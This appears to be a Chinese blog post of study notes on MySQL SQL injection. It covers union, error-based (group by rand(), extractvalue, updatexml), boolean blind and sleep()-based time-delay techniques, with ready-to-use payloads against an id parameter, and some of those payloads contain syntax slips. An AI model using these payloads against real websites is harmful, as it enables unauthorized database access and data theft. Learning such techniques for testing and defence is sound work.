SQL注入-1

SQL注入-1

本次sql注入以mysql为例,整理的千锋网络视频的内容

1. 关系型数据库

有明显的层次结构库名|表名|字段名|字段内容
MySQL\ACCESS\mssql\oracle

2. SQL注入类别

  • 联合查询注入
  • 报错注入
  • 布尔盲注
  • 延时注入
  • 多语句查询注入

3. MySQL

3.1元数据数据库
  • information_schema
    • tables
      • table_name\tabel_schema
    • columns
      • column_name/table_name/schema_name
3.2 常用函数与参数
version()//mysql版本
database()
user()
current_user()
system_user()//系统用户名
@@datadir//数据库路径
@@version_compile_os//操作系统版本
length()
substring()
concat()
caoncat_ws()//有分隔符
group_concat()
rand()
sleep()

3.3 SQL注入点判断
3.3.1联合查询

联合查询:利用union select语句,会同时执行两条select语句,生成两张虚拟表。
联合查询必要条件

  1. 两张虚拟表有相同列数。
  2. 虚拟表对应列数的数据类型相同。

A union select B时,一般页面只显示A的内容,B的内容不显示,这时可在A后加入and 1=2等语句,将A的内容设为false,这种情况下就会在页面中显示B的内容。

联合查询时可用到hex(table_name)这个函数,为了避免引号影响,将文本转换为十六进制(数字格式);也可用到group_concat(table_name)这个函数,

3.3.2报错注入

group by注入
利用group by重复建冲突建报错

? id=33 union select 1,2,concat(left(rand(),3)'>',@@version,'>')as a,4,5,6 from information_schema.tables group by a--+

如果information_schema.tables等关键表被禁用,可用以下语句构造一个表

select 1 union select null union select !1
select concat(left(rand(),3),'>',select version(),'>')as x ,count(*) from (select 1 union select null union select !1)as x group by a--+

如果rand()和count()被禁用,可以用以下方式

select min(@a:=1) from (select 1 union select null union select !1)a group by concat('>',@@version,'>',@a=(@a+1)%2);

** SQL语句解析过程**

  1. from:from标识了这条语句要查的数据源,形成虚拟表VT1。
  2. where:对VT1过程中生成的临时表进行过滤,把满足where字句的列插到VT2
  3. group by:把VT2生成的表按照group by 中的列进行分组,形成VT3。
  4. having:对VT3进行过滤,满足条件的数据被加到VT4
  5. select:对select子句中的元素进行处理,形成VT5表(先计算表达式,再distinct之类)

** XPath报错注入**

  1. extracvalue():对xml文档进行查询的函数,语法为“extractvalue(目标xml文档,xml路径)”,正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错。
id?=33 and extracvalue(1,concat('>',(select version()),'<')--+`

注:extractvalue()能查询字符串的最大长度为32,如果想要的结果超过32,就需要用substring()函数截取,一次查看32位。
2. updatexml():更新xml文档的函数,语法为“updatexml(目标xml文档,xml路径,更新的内容)”,正常查询第二个参数的格式也应该是/xxx/xx/xx/xx,其他格式就会报错

?id=33 and updatexml(1,concat('>',select version(),'<'),1)--+
3.3.3布尔盲注
id=1 and ascii(substr(database(),1,1))>0
3.3.4延时注入

利用sleep()语句

?id=3 and if(length(database())=3,sleep(5),1)--+

MySQL注入基础及语句

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值